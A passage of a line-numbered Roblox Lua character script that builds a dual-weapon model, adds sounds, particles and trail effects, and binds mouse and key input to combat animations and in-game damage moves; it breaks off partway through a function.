  1063. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  1064. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  1065. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  1066. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  1067. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  1068. local moosick = it("Sound",Character)
  1069. moosick.SoundId = "rbxassetid://142653441"
  1070.  --142653441, 175067863
  1071. moosick.Looped = true
  1072. moosick.Pitch = 1
  1073. moosick.Volume = 0
  1074. moosick:Play()
  1075.  
  1076. anim = Character:findFirstChild("Animate")
  1077. if anim then
  1078. anim:Destroy()
  1079. end
  1080.  
  1081. local particleemitter = Instance.new("ParticleEmitter", Handle)
  1082. particleemitter.VelocitySpread = 180
  1083. particleemitter.Lifetime = NumberRange.new(0.1)
  1084. particleemitter.Speed = NumberRange.new(2)
  1085. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  1086. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  1087. particleemitter.Rate = 100
  1088. particleemitter.Rotation = NumberRange.new(-45, 45)
  1089. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  1090. particleemitter.LightEmission = 0
  1091. particleemitter.Color = ColorSequence.new(Color3.new(0, 0, 0), Color3.new(0, 0, 0))
  1092.  
  1093. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  1094. particleemitter.VelocitySpread = 180
  1095. particleemitter.Lifetime = NumberRange.new(0.1)
  1096. particleemitter.Speed = NumberRange.new(2)
  1097. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  1098. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  1099. particleemitter.Rate = 100
  1100. particleemitter.Rotation = NumberRange.new(-45, 45)
  1101. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  1102. particleemitter.LightEmission = 0
  1103. particleemitter.Color = ColorSequence.new(Color3.new(0, 0, 0), Color3.new(0, 0, 0))
  1104.  
  1105. local particleemitter = Instance.new("ParticleEmitter", handle)
  1106. particleemitter.VelocitySpread = 180
  1107. particleemitter.Lifetime = NumberRange.new(0.1)
  1108. particleemitter.Speed = NumberRange.new(2)
  1109. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  1110. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  1111. particleemitter.Rate = 100
  1112. particleemitter.Rotation = NumberRange.new(-45, 45)
  1113. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  1114. particleemitter.LightEmission = 0.8
  1115. particleemitter.Color = ColorSequence.new(Color3.new(0, 0, 0), Color3.new(0, 0, 0))
  1116.  
  1117. local light = Instance.new("PointLight", Character.Torso)
  1118. light.Color = Color3.new(255,255,255)
  1119. light.Brightness = 5
  1120. light.Range = 15
  1121.  
  1122. particleemitter.Enabled = true
  1123.  
  1124. local Footsteps = it("Sound",Character.Torso)
  1125. Footsteps.SoundId = "rbxassetid://142665235"
  1126. Footsteps.Looped = true
  1127. Footsteps.Pitch = 0.8
  1128. Footsteps.Volume = 0.3
  1129.  
  1130. local Footsteps2 = it("Sound",Character.Torso)
  1131. Footsteps2.SoundId = "rbxassetid://142665235"
  1132. Footsteps2.Looped = true
  1133. Footsteps2.Pitch = 1
  1134. Footsteps2.Volume = 0.4
  1135.  
  1136. local cam = game.Workspace.CurrentCamera
  1137.  
  1138. --cam.CameraSubject = Character
  1139.  
  1140. for i,v in pairs(Head:children()) do
  1141.     if v:IsA("Sound") then
  1142.         v:Destroy()
  1143.     end
  1144. end
  1145.  
  1146. mouse.Button1Down:connect(function()
  1147.         if attack==false and attacktype==1 then
  1148.                 attacktype=2
  1149.                 attackone()
  1150.         elseif attack==false and attacktype==2 then
  1151.                 attacktype=3
  1152.                 attacktwo()
  1153.         elseif attack==false and attacktype==3 then
  1154.                 attacktype=4
  1155.                 attackthree()
  1156.         elseif attack==false and attacktype==4 then
  1157.                 attacktype=1
  1158.                 attackfour()
  1159.         end
  1160. end)
  1161.  
  1162. mouse.KeyDown:connect(function(k)
  1163.     k=k:lower()
  1164.     if k=='e' then
  1165.         if attack==false and mana>=20 then
  1166.             Push()
  1167.         end
  1168.         elseif k=='g' then
  1169.         if attack==false and mana>=50 then
  1170.             Twirl()
  1171.         end
  1172.         elseif k=='v' then
  1173.         if attack==false and mana>=25 then
  1174.             MagicJump()
  1175.         end
  1176.         elseif k=='q' then
  1177.         if attack==false then
  1178.         idle=1000
  1179.         end
  1180.         elseif k=='h' then
  1181.         if attack==false then
  1182.         mana=100
  1183.         end
  1184.         elseif k=='y' then
  1185.         if attack==false and mana>=100 then
  1186.             Shred()
  1187.         end
  1188.         elseif k=='f' then
  1189.         if attack==false and mana>=40 then
  1190.             Spin()
  1191.         end
  1192.         elseif k=='r' then
  1193.         if attack==false and mana>=20 then
  1194.             Clap()
  1195.         end
  1196.         elseif k=='t' then
  1197.         if attack==false then
  1198.             Hai()
  1199.         end
  1200.         elseif k=='0' then
  1201.         if attack==false then
  1202.             Humanoid.WalkSpeed=(24)
  1203.         end
  1204.         elseif k=='j' then
  1205.         if attack==false then
  1206.             Humanoid.Health = 10
  1207.             print("Congrats, you commited suicide.")
  1208.         end
  1209.     end
  1210. end)
  1211.  
  1212. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  1213. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  1214. prt.Anchored=true
  1215. prt.CFrame=cframe
  1216. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  1217. game:GetService("Debris"):AddItem(prt,2)
  1218. coroutine.resume(coroutine.create(function(Part,Mesh)
  1219. for i=0,1,delay do
  1220. wait()
  1221. Part.CFrame=Part.CFrame
  1222. Part.Transparency=i
  1223. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  1224. end
  1225. Part.Parent=nil
  1226. end),prt,msh)
  1227. end
  1228.  
  1229. TrailDeb = false
  1230.  
  1231. function equipanim()
  1232.     attack=true
  1233.     Humanoid.WalkSpeed = 0
  1234.     if TrailDeb == false then
  1235.                             TrailDeb = true
  1236.                         end
  1237.  
  1238.                        
  1239. coroutine.wrap(function()
  1240. local Old = handle.CFrame.p
  1241. while wait()do
  1242. if not TrailDeb then break end
  1243. local New = handle.CFrame.p
  1244. local Mag =(Old -New).magnitude
  1245. local Dis =(Old +New)/2
  1246. local Trail = Instance.new("Part",Character)
  1247. Trail.Material = "Neon"
  1248. Trail.Anchored = true
  1249. Trail.CanCollide = false
  1250. Trail.BrickColor = TorsoColor
  1251. Trail.Size = Vector3.new(0.2,Mag,0.2)
  1252. Trail.TopSurface = 0
  1253. Trail.BottomSurface = 0
  1254. Trail.formFactor = "Custom"
  1255. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  1256. local ms = Instance.new("BlockMesh",Trail)
  1257. ms.Scale = Vector3.new(1,1,1)
  1258. local TM = Instance.new("CylinderMesh",Trail)
  1259. TM.Scale = Vector3.new(1,1,1)
  1260. Old = New
  1261. coroutine.wrap(function()
  1262. for i = 1,0,-0.1 do
  1263. wait()
  1264. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  1265. end
  1266. Trail:remove()
  1267. end)()
  1268. coroutine.wrap(function()
  1269. for i = 1,10 do
  1270. wait()
  1271. Trail.Transparency = Trail.Transparency +0.1
  1272. end end)()end end)()
  1273. coroutine.wrap(function()
  1274. local Old = Handle.CFrame.p
  1275. while wait()do
  1276. if not TrailDeb then break end
  1277. local New = Handle.CFrame.p
  1278. local Mag =(Old -New).magnitude
  1279. local Dis =(Old +New)/2
  1280. local Trail = Instance.new("Part",Character)
  1281. Trail.Material = "Neon"
  1282. Trail.Anchored = true
  1283. Trail.CanCollide = false
  1284. Trail.BrickColor = TorsoColor
  1285. Trail.Size = Vector3.new(0.2,Mag,0.2)
  1286. Trail.TopSurface = 0
  1287. Trail.BottomSurface = 0
  1288. Trail.formFactor = "Custom"
  1289. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  1290. local ms = Instance.new("BlockMesh",Trail)
  1291. ms.Scale = Vector3.new(1,1,1)
  1292. local TM = Instance.new("CylinderMesh",Trail)
  1293. TM.Scale = Vector3.new(1,1,1)
  1294. Old = New
  1295. coroutine.wrap(function()
  1296. for i = 1,0,-0.1 do
  1297. wait()
  1298. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  1299. end
  1300. Trail:remove()
  1301. end)()
  1302. coroutine.wrap(function()
  1303. for i = 1,10 do
  1304. wait()
  1305. Trail.Transparency = Trail.Transparency +0.1
  1306. end end)()end end)()
  1307. coroutine.wrap(function()
  1308. local Old = Handle2.CFrame.p
  1309. while wait()do
  1310. if not TrailDeb then break end
  1311. local New = Handle2.CFrame.p
  1312. local Mag =(Old -New).magnitude
  1313. local Dis =(Old +New)/2
  1314. local Trail = Instance.new("Part",Character)
  1315. Trail.Material = "Neon"
  1316. Trail.Anchored = true
  1317. Trail.CanCollide = false
  1318. Trail.BrickColor = TorsoColor
  1319. Trail.Size = Vector3.new(0.2,Mag,0.2)
  1320. Trail.TopSurface = 0
  1321. Trail.BottomSurface = 0
  1322. Trail.formFactor = "Custom"
  1323. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  1324. local ms = Instance.new("BlockMesh",Trail)
  1325. ms.Scale = Vector3.new(1,1,1)
  1326. local TM = Instance.new("CylinderMesh",Trail)
  1327. TM.Scale = Vector3.new(1,1,1)
  1328. Old = New
  1329. coroutine.wrap(function()
  1330. for i = 1,0,-0.1 do
  1331. wait()
  1332. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  1333. end
  1334. Trail:remove()
  1335. end)()
  1336. coroutine.wrap(function()
  1337. for i = 1,10 do
  1338. wait()
  1339. Trail.Transparency = Trail.Transparency +0.1
  1340. end end)()end end)()
  1341.     so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5)
  1342.     for i=0,1,0.005 do
  1343.         swait()
  1344.         moosick.Volume = 0+1*i
  1345.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
  1346.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  1347.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  1348.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  1349.         Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  1350.         LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  1351.         RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  1352.     end
  1353.     for i=0,1,0.005 do
  1354.         swait()
  1355.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
  1356.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  1357.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  1358.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  1359.         Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  1360.         LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  1361.         RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  1362.     end
  1363.     so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  1364.     so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  1365.     for i=0,1,0.005 do
  1366.         swait()
  1367.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  1368.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  1369.         handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  1370.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  1371.         Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  1372.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  1373.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  1374.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  1375.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  1376.     end
  1377.     for i=0,1,0.04 do
  1378.         swait()
  1379.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  1380.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1381.         Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  1382.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
  1383.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  1384.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  1385.         RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  1386.         LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  1387.     end
  1388.     --dmgstop()
  1389.     attack=false
  1390.     Humanoid.WalkSpeed = 12
  1391. if TrailDeb == true then
  1392.                         TrailDeb = false
  1393. end
  1394. end
  1395.  
  1396. function attackone()
  1397.     attack=true
  1398.     if TrailDeb == false then
  1399.                             TrailDeb = true
  1400.                         end
  1401.                        
  1402.  
  1403. coroutine.wrap(function()
  1404. local Old = Handle.CFrame.p
  1405. while wait()do
  1406. if not TrailDeb then break end
  1407. local New = Handle.CFrame.p
  1408. local Mag =(Old -New).magnitude
  1409. local Dis =(Old +New)/2
  1410. local Trail = Instance.new("Part",Character)
  1411. Trail.Material = "Neon"
  1412. Trail.Anchored = true
  1413. Trail.CanCollide = false
  1414. Trail.BrickColor = TorsoColor
  1415. Trail.Size = Vector3.new(0.2,Mag,0.2)
  1416. Trail.TopSurface = 0
  1417. Trail.BottomSurface = 0
  1418. Trail.formFactor = "Custom"
  1419. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  1420. local ms = Instance.new("BlockMesh",Trail)
  1421. ms.Scale = Vector3.new(1,1,1)
  1422. local TM = Instance.new("CylinderMesh",Trail)
  1423. TM.Scale = Vector3.new(1,1,1)
  1424. Old = New
  1425. coroutine.wrap(function()
  1426. for i = 1,0,-0.1 do
  1427. wait()
  1428. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  1429. end
  1430. Trail:remove()
  1431. end)()
  1432. coroutine.wrap(function()
  1433. for i = 1,10 do
  1434. wait()
  1435. Trail.Transparency = Trail.Transparency +0.1
  1436. end end)()end end)()
  1437.     con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  1438.     for i=0,1,0.08 do
  1439.         swait()
  1440.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
  1441.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
  1442.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1443.         Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  1444.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1445.         RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
  1446.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  1447.     end
  1448.     so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9)
  1449.     so("http://www.roblox.com/asset/?id=159972643",Torso,1,1)
  1450.     for i=0,1,0.1 do
  1451.         swait()
  1452.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
  1453.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  1454.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1455.         Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
  1456.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1457.         RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
  1458.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  1459.     end
  1460.     --dmgstop()
  1461.     attack=false
  1462.     con1:disconnect()
  1463. if TrailDeb == true then
  1464.                         TrailDeb = false
  1465. end
  1466. end
  1467.  
  1468. function attacktwo()
  1469.     attack=true
  1470. if TrailDeb == false then
  1471.                             TrailDeb = true
  1472.                         end
  1473.                        
  1474.  
  1475. coroutine.wrap(function()
  1476. local Old = Handle2.CFrame.p
  1477. while wait()do
  1478. if not TrailDeb then break end
  1479. local New = Handle2.CFrame.p
  1480. local Mag =(Old -New).magnitude
  1481. local Dis =(Old +New)/2
  1482. local Trail = Instance.new("Part",Character)
  1483. Trail.Material = "Neon"
  1484. Trail.Anchored = true
  1485. Trail.CanCollide = false
  1486. Trail.BrickColor = TorsoColor
  1487. Trail.Size = Vector3.new(0.2,Mag,0.2)
  1488. Trail.TopSurface = 0
  1489. Trail.BottomSurface = 0
  1490. Trail.formFactor = "Custom"
  1491. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  1492. local ms = Instance.new("BlockMesh",Trail)
  1493. ms.Scale = Vector3.new(1,1,1)
  1494. local TM = Instance.new("CylinderMesh",Trail)
  1495. TM.Scale = Vector3.new(1,1,1)
  1496. Old = New
  1497. coroutine.wrap(function()
  1498. for i = 1,0,-0.1 do
  1499. wait()
  1500. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  1501. end
  1502. Trail:remove()
  1503. end)()
  1504. coroutine.wrap(function()
  1505. for i = 1,10 do
  1506. wait()
  1507. Trail.Transparency = Trail.Transparency +0.1
  1508. end end)()end end)()
  1509.     con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  1510.     for i=0,1,0.08 do
  1511.         swait()
  1512.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  1513.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  1514.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1515.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
  1516.         Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1517.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  1518.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  1519.     end
  1520.     so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  1521.     so("http://www.roblox.com/asset/?id=159972627",Torso,1,1)
  1522.     for i=0,1,0.1 do
  1523.         swait()
  1524.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  1525.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  1526.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1527.         Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
  1528.         Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1529.         LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  1530.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  1531.     end
  1532.     --dmgstop()
  1533.     attack=false
  1534.     con1:disconnect()
  1535. if TrailDeb == true then
  1536.                         TrailDeb = false
  1537. end
  1538. end
  1539.  
  1540. function attackthree()
  1541.     attack=true
  1542.     if TrailDeb == false then
  1543.                             TrailDeb = true
  1544.                         end
  1545.  
  1546.                        
  1547. coroutine.wrap(function()
  1548. local Old = Handle.CFrame.p
  1549. while wait()do
  1550. if not TrailDeb then break end
  1551. local New = Handle.CFrame.p
  1552. local Mag =(Old -New).magnitude
  1553. local Dis =(Old +New)/2
  1554. local Trail = Instance.new("Part",Character)
  1555. Trail.Material = "Neon"
  1556. Trail.Anchored = true
  1557. Trail.CanCollide = false
  1558. Trail.BrickColor = TorsoColor
  1559. Trail.Size = Vector3.new(0.2,Mag,0.2)
  1560. Trail.TopSurface = 0
  1561. Trail.BottomSurface = 0
  1562. Trail.formFactor = "Custom"
  1563. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  1564. local ms = Instance.new("BlockMesh",Trail)
  1565. ms.Scale = Vector3.new(1,1,1)
  1566. local TM = Instance.new("CylinderMesh",Trail)
  1567. TM.Scale = Vector3.new(1,1,1)
  1568. Old = New
  1569. coroutine.wrap(function()
  1570. for i = 1,0,-0.1 do
  1571. wait()
  1572. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  1573. end
  1574. Trail:remove()
  1575. end)()
  1576. coroutine.wrap(function()
  1577. for i = 1,10 do
  1578. wait()
  1579. Trail.Transparency = Trail.Transparency +0.1
  1580. end end)()end end)()
  1581.     con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end)
  1582.     for i=0,1,0.08 do
  1583.         swait()
  1584.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
  1585.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  1586.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1587.         Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
  1588.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1589.         RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
  1590.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  1591.     end
  1592.     so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  1593.     so("http://www.roblox.com/asset/?id=159882477",Torso,1,1)
  1594.     for i=0,1,0.05 do
  1595.         swait()
  1596.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  1597.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
  1598.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1599.         Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
  1600.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  1601.         RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
  1602.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  1603.     end
  1604.     --dmgstop()
  1605.     attack=false
  1606.     con1:disconnect()
  1607. if TrailDeb == true then
  1608.                         TrailDeb = false
  1609. end
  1610. end
  1611.  
  1612. function attackfour()
  1613.     attack=true
  1614. if TrailDeb == false then
  1615.                             TrailDeb = true
  1616.                         end
  1617.                        
  1618.  
  1619. coroutine.wrap(function()
  1620. local Old = Handle2.CFrame.p
  1621. while wait()do
  1622. if not TrailDeb then break end
  1623. local New = Handle2.CFrame.p
  1624. local Mag =(Old -New).magnitude
  1625. local Dis =(Old +New)/2
  1626. local Trail = Instance.new("Part",Character)
  1627. Trail.Material = "Neon"
  1628. Trail.Anchored = true
  1629. Trail.CanCollide = false
  1630. Trail.BrickColor = TorsoColor
  1631. Trail.Size = Vector3.new(0.2,Mag,0.2)
  1632. Trail.TopSurface = 0
  1633. Trail.BottomSurface = 0
  1634. Trail.formFactor = "Custom"
  1635. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  1636. local ms = Instance.new("BlockMesh",Trail)
  1637. ms.Scale = Vector3.new(1,1,1)
  1638. local TM = Instance.new("CylinderMesh",Trail)
  1639. TM.Scale = Vector3.new(1,1,1)
  1640. Old = New
  1641. coroutine.wrap(function()
  1642. for i = 1,0,-0.1 do
  1643. wait()
  1644. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  1645. end
  1646. Trail:remove()
  1647. end)()
  1648. coroutine.wrap(function()
  1649. for i = 1,10 do
  1650. wait()
  1651. Trail.Transparency = Trail.Transparency +0.1
  1652. end end)()end end)()
  1653. coroutine.wrap(function()
  1654. local Old = Handle.CFrame.p
  1655. while wait()do
  1656. if not TrailDeb then break end
  1657. local New = Handle.CFrame.p
  1658. local Mag =(Old -New).magnitude
  1659. local Dis =(Old +New)/2
  1660. local Trail = Instance.new("Part",Character)
  1661. Trail.Material = "Neon"
  1662. Trail.Anchored = true
  1663. Trail.CanCollide = false
  1664. Trail.BrickColor = TorsoColor
  1665. Trail.Size = Vector3.new(0.2,Mag,0.2)
  1666. Trail.TopSurface = 0
  1667. Trail.BottomSurface = 0
  1668. Trail.formFactor = "Custom"
  1669. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  1670. local ms = Instance.new("BlockMesh",Trail)
  1671. ms.Scale = Vector3.new(1,1,1)
